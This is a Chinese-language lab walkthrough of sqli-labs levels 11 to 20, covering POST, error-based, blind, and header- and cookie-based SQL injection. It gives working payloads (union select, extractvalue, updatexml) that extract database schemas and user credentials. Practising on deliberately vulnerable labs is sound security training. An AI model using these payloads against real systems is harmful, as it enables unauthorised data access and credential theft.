您好, 欢迎来到 !    登录 | 注册 | | 设为首页 | 收藏本站

sql-libs闯关11-20关

bubuko 2022/1/25 20:10:18 其他 字数 9962 阅读 1014 来源 http://www.bubuko.com/infolist-5-1.html

从第11关开始,我们就进入到了POST注入的世界了。 POSTpost是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以 post的方式提交的服务器的,之后再由服务器端进行验证。闯关时我们可以用burp ...

从第11关开始,我们就进入到了POST注入的世界了。

POST
post是一种数据提交方式,它主要是指数据从客户端提交到服务器端,例如,我们常常使用的用户登录模块、网站的留言板模块等,在这些功能模块中我们提交的数据都是以

post的方式提交的服务器的,之后再由服务器端进行验证。
闯关时我们可以用burpsuit抓包软件也可以继续使用火狐+hackbar插件

好,开始闯关

 

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

我们先输账号为:admin‘密码为:123可以看到123被单引号括住,说明是单引号闭合型。

技术分享图片

 

 

 

 

 


接下来输入账号为:admin‘#,密码为:123可以看到,页面显示正确进入,而且还有两个显示位面。

技术分享图片

 

 

 

 

这就基本上和第一关一样,用联合注入。思路和第一关差不多,先输入一个不存在的用户名使前半部分报错0admin‘ order by 3#,(注意这里注释的话要用#,用–+页面会报错的)

技术分享图片

 

 

 

页面错误,将3改为2,页面正常。所以有两个字段。

 

爆数据库名:Username:0admin‘ union select 1,database()#

技术分享图片

 

 

 

 

爆数据表名:Username:0admin‘ union select (select group_concat(table_name) from information_schema.tables where table_schema=‘security‘),2#

技术分享图片

 

 

 

 


爆字段名:Username:0admin‘ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘ and table_schema=‘security‘)#

技术分享图片

 


爆所有数据:Username:0admin‘ union select (select group_concat(username) from security.users),(select group_concat(password) from security.users)#

 

 

 技术分享图片

 

 

 

 第十二关

和第十一关一样,就是把单引号闭合换成双引号变形闭合就可以啦  {")闭合型注入}

技术分享图片

 

 

 

第十三关

 发现输入完正确的输入后,他不给我们回显出来,说明这关是盲注了,就又和第五关一样了,参考第五关。通过这关的名字我们可以判断是单引号变形,就是‘)进行闭合

技术分享图片

 

 

获得数据库名

技术分享图片

 

 

最后获得用户名和密码(中间跳了一个世纪的距离,不会的看我的上一篇文章很清晰的讲述了如何到这步)和第五关基本一样,不再赘述

 

技术分享图片

 

 

 第十四关

和第十三关基本一样就是把单引号变形变成双引号,过程不再赘述,最后获得用户名和密码

技术分享图片

 

 第十五关

这关题目是说时间延迟单引号盲注,那就用时间延迟吧,但是其实用上一关的布尔盲注也是完全可以的

技术分享图片

 

 

获取用户名密码

技术分享图片

 

 技术分享图片

 

 

 第十六关

和第十五关基本一样,区别就是把单引号闭合变成了双引好括号闭合,没有回显位,用时间盲注

 

技术分享图片

 

 

技术分享图片

 

 

 第十七关

 

这一关不管怎么找闭合性,都只出现同一串英文字母,因为这关对username做了很严格的过滤,对各种引号括号进行了转义,判断。但是它没有对password进行过滤,所有我们来对password进行爆破

Username:admin Password:1‘ order by 3#可以看到

技术分享图片

 

 

 

 

 

有个报错显示,想到可以用报错注入。
爆数据库:Username:admin Password:1‘and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit

技术分享图片

 

 

 
爆数据表:Password:1‘and extractvalue(1,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),0x7e))#&sub mit=Submit
但是,到这里发现只出现了一个表名

技术分享图片

 

 

 

 

那这样好像进行不下去了,搜索得知我们可以使用updatexml函数。
(1)updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(2)updatexml(xml_target,xpath_expr,new_xml)
(3)xml_target:原来的xml,也就是要替换的目标;
(4)xpath_expr:xpath的表达式;
(5)new_xml :替换后的xml;
(6)这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
在注入时,‘ or updatexml(1,concat(‘#‘,(Clause)),1)#
这时,Clause就是我们需要用到的子句了。

 

爆完整的列名
Password:‘ or updatexml(1,concat(‘#‘,(select group_concat(table_name) from information_schema.tables where table_schema=‘security‘)),1)#

技术分享图片

 

 

爆字段名:‘ or updatexml(1,concat(‘#‘,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘ and table_schema=‘security‘)),1)#

技术分享图片

 

 

查询数据时,并不能直接用简单的select concat(username),这样会引起报错。
因为在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。

爆数据:‘ or updatexml(1,concat(‘#‘,(select * from (select concat_ws (‘ ‘,id,username,password) from users limit 0,1) a)),1)#然后修改limit的值就可以查到所有数据。

技术分享图片

 

 第十八关

这关是基于报错注入,上一关没有对password进行过滤,这关就进行过滤了,那怎么办呢?这关我们就要用burpsuite抓包神器了(注意把浏览器设置成代理模式,抓包的网站不要用localhost,因为我试了试发现不能)

技术分享图片

 

 我们先输入一个admin,admin,发送到repeater,这样咱们就不用在浏览器上一直输入了,简单快捷,哈哈哈哈哈

技术分享图片

 

我们把这句话换成我们想要的查询语句就可以了(使用extractvalue进行)和第12关的语句基本一样

技术分享图片

 

 获得数据库名

 技术分享图片

 

 获得数据库表

技术分享图片

 

 获得数据库列名

技术分享图片

 

 获得用户名密码(这里只显示了一部分密码,当然可以用not in来看其他的密码)

技术分享图片

 

 第十九关

这一关一进去输入账户密码就发现有一个Referer的东西,我猜就是改变它的值,事实确实如此,和上一关基本一样就是把agent换成了referer

获得库名(又是重复性动作了,和上一关一样,我就不截图那么多了)

技术分享图片

 

 获得用户名密码

技术分享图片

 

 第二十关

进来先输入用户名密码,测试一下,发现是关于cookie值的进行注入,那我们就在这里注入

技术分享图片

 

 在这里进行注入

技术分享图片

 

还是那老一套,看加不加单引号,怎么闭合,有几个显示位。最后发现是单引号闭合,有三个显示位

技术分享图片

 

 技术分享图片

获得数据库名

技术分享图片

 

 技术分享图片

 

 获得表名,获得列名,获得用户名密码,和第一关的payload一样,不再演示了

11-20关结束

 

sql-libs闯关11-20关

原文:https://www.cnblogs.com/swl0221/p/12296558.html


如果您也喜欢它,动动您的小指点个赞吧

除非注明,文章均由 laddyq.com 整理发布,欢迎转载。

转载请注明:
链接:http://laddyq.com
来源:laddyq.com
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


联系我
置顶